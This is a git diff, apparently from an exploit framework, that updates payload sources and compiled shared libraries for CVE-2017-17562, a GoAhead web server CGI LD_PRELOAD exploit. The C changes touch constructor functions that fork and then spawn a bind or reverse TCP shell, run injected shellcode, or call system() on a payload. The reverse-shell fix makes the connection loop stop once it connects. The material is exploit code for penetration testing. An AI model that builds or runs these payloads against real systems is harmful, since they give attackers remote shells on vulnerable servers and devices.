diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-aarch64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-aarch64.so.gz index 57395f4622..49dad92e1c 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-aarch64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-aarch64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armel.so.gz index 2bbd2b4b85..b7276fb11c 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armhf.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armhf.so.gz index cfff068c38..c84c6ebdd9 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armhf.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armhf.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips.so.gz index d2be5fe4ce..6c279d3edf 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64.so.gz index 8e1afd7d66..fceb1a76f4 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64el.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64el.so.gz index 8e64c65f7d..f263575ba3 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64el.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64el.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mipsel.so.gz index 67d022a3f0..b18ec61d69 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mipsel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mipsel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc.so.gz index d57af70f2c..dbf97de309 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64.so.gz index 9ae48ca309..6dcc37395b 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64le.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64le.so.gz index 64b67064c2..f9d7b3d885 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64le.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64le.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-s390x.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-s390x.so.gz index 734fd21140..f9da8daa30 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-s390x.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-s390x.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc.so.gz index 54985dbd57..0eb9912021 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc64.so.gz index 8f9c286b9d..690b17ccfb 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86.so.gz index b931aa5b0b..b4dead4c29 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86_64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86_64.so.gz index 6fd775b65a..dada467438 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86_64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86_64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind.c b/data/exploits/CVE-2017-17562/goahead-cgi-bind.c index 3531b15858..2c056fa9f0 100644 --- a/data/exploits/CVE-2017-17562/goahead-cgi-bind.c +++ b/data/exploits/CVE-2017-17562/goahead-cgi-bind.c @@ -89,7 +89,8 @@ static void _run_payload_(void) __attribute__((constructor)); static void _run_payload_(void) { unsetenv("LD_PRELOAD"); - if (! fork()) { + if (! fork()) _bind_tcp_shell(); - } + + exit(0); } diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-aarch64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-aarch64.so.gz index 908b4fb508..a4c195c15f 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-aarch64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-aarch64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armel.so.gz index 812a50b452..1e360b3bcc 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armhf.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armhf.so.gz index c881067a6a..319a49463e 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armhf.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armhf.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips.so.gz index 5197f975f2..09edd8123f 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64.so.gz index 35b7138ab2..9832e5443e 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64el.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64el.so.gz index 4fd3a2e663..e4f67ec83a 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64el.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64el.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mipsel.so.gz index 3c77748adf..c2ee11a21b 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mipsel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mipsel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc.so.gz index b3a49d3253..8929afc272 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64.so.gz index e1b4cdccee..67d2b4f0c6 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64le.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64le.so.gz index e0d460000c..a1eeec6101 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64le.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64le.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-s390x.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-s390x.so.gz index 3847bf1e8b..adfb9f5acc 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-s390x.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-s390x.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc.so.gz index 87e0a16f60..234303e332 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc64.so.gz index 745744e0cb..25290e3faf 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86.so.gz index 0e66478f0d..f3e483100c 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86_64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86_64.so.gz index d1aa1c4659..fd29edee9b 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86_64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86_64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-reverse.c b/data/exploits/CVE-2017-17562/goahead-cgi-reverse.c index 98a8ea729d..873e36f2f6 100644 --- a/data/exploits/CVE-2017-17562/goahead-cgi-reverse.c +++ b/data/exploits/CVE-2017-17562/goahead-cgi-reverse.c @@ -53,7 +53,9 @@ static void _reverse_tcp_shell(void) { memset(addr.sin_zero, 0, sizeof(addr.sin_zero)); for (i=0; i<10; i++) { - connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr)); + if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) { + break; + } } for (i=0; i<3; i++) { @@ -75,7 +77,8 @@ static void _run_payload_(void) __attribute__((constructor)); static void _run_payload_(void) { unsetenv("LD_PRELOAD"); - if (! fork()) { + if (! fork()) _reverse_tcp_shell(); - } + + exit(0); } diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-aarch64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-aarch64.so.gz index cd9c361332..421c59e96c 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-aarch64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-aarch64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armel.so.gz index 42e95aa1c4..f2df9e60ab 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armhf.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armhf.so.gz index c057e8a08f..35e44d6381 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armhf.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-armhf.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips.so.gz index dae053baa8..35af1f3742 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64.so.gz index 814a9c40d9..fdc4a85866 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64el.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64el.so.gz index 62b42067cd..f5c9bac1fd 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64el.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mips64el.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mipsel.so.gz index 68107f59c9..c81a482c2a 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mipsel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-mipsel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc.so.gz index f52f9a67f6..9d8df2b824 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64.so.gz index b7cd6d9427..a24db6ff33 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz index ea425dfa32..4e47f45abe 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-powerpc64le.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-s390x.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-s390x.so.gz index a776b4938c..d084365f01 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-s390x.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-s390x.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc.so.gz index d6548a7cb9..4886cc721a 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc64.so.gz index 355e602b55..243eb53410 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-sparc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86.so.gz index 274b72dd94..f4b1f28e3d 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86_64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86_64.so.gz index e2271468b8..a6ebf67fdf 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86_64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode-linux-glibc-x86_64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode.c b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode.c index f9b5f2966a..8535af6593 100644 --- a/data/exploits/CVE-2017-17562/goahead-cgi-shellcode.c +++ b/data/exploits/CVE-2017-17562/goahead-cgi-shellcode.c @@ -37,8 +37,8 @@ static void _run_payload_(void) memcpy(mem, payload, PAYLOAD_SIZE); fn = (void(*)())mem; - if (! fork()) { + if (! fork()) fn(); - kill(getpid(), 9); - } + + exit(0); } diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-aarch64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-aarch64.so.gz index d54f0f4a33..3bcabe6220 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-aarch64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-aarch64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armel.so.gz index 5408739bba..0f7ace861c 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armhf.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armhf.so.gz index 8e16131fb2..91c9e49ce8 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armhf.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-armhf.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips.so.gz index 205fd0dcf2..6997c5e3ed 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64.so.gz index 24941d4029..beca1c24ab 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64el.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64el.so.gz index 3b4b11156b..5714a5e71e 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64el.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mips64el.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mipsel.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mipsel.so.gz index 9bc2e5ee15..8bb6cda7e2 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mipsel.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-mipsel.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc.so.gz index b391f6bbd8..86858863fe 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64.so.gz index af41608d48..f070edc461 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64le.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64le.so.gz index 1bfbee26d5..58df84d355 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64le.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-powerpc64le.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-s390x.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-s390x.so.gz index 096951058c..0d3fe88c5b 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-s390x.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-s390x.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc.so.gz index e93fd10a0d..b3fa38bd8c 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc64.so.gz index a18e6bb1b0..0c17c79a04 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-sparc64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86.so.gz index 3964868678..3d75379b2b 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86_64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86_64.so.gz index ad76cbc767..9889dbc534 100755 Binary files a/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86_64.so.gz and b/data/exploits/CVE-2017-17562/goahead-cgi-system-linux-glibc-x86_64.so.gz differ diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-system.c b/data/exploits/CVE-2017-17562/goahead-cgi-system.c index cc5d394bb7..2ce57a5d37 100644 --- a/data/exploits/CVE-2017-17562/goahead-cgi-system.c +++ b/data/exploits/CVE-2017-17562/goahead-cgi-system.c @@ -23,7 +23,10 @@ static void _run_payload_(void) __attribute__((constructor)); static void _run_payload_(void) { + int dummy = 0; unsetenv("LD_PRELOAD"); if (! fork()) - system((const char*)payload); + dummy = system((const char*)payload); + + exit(dummy); }